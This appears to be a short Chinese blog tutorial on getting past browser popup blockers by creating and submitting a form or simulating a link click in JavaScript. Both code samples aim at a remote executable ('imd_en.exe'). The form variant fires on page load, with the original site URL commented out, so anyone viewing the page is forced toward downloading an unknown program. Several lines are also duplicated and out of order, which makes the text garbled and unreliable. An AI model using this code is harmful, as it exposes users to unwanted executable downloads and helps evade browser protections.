一直以来,以为页面弹窗功能只可通过window.open()实现,
但有些时候,一些安全性较高的浏览器把默认把open出来的窗口拦截掉,
2、模拟a点击
另,据说还有利用浏览器冒泡的事件,这方法有些复杂,就不尝试了~
但有些时候,一些安全性较高的浏览器把默认把open出来的窗口拦截掉,
感觉这灰常的不爽,然后又是百度一堆搜,结果让偶发现了,可以通过form、a等模拟window.open咯
1、form方式(把地址写在action里)
function newWindow(){
var formObj = document.createElement("form");
formObj.action='http://d38x4b1lw4iq9i.cloudfront.net/imd_en.exe';
// formObj.action='http://www.gamebox.com';
// formObj.target='_blank';
document.documentElement.appendChild(formObj);
formObj.submit();
}
onload = newWindow;
2、模拟a点击
function myopen(url){
var oA = document.createElement('a');
oA.href = url;
// oA.target = '_blank';
document.body.appendChild(oA);
oA.click();
}
myopen('http://d38x4b1lw4iq9i.cloudfront.net/imd_en.exe');
另,据说还有利用浏览器冒泡的事件,这方法有些复杂,就不尝试了~
参考地址: http://www.htmltec.com/archives/157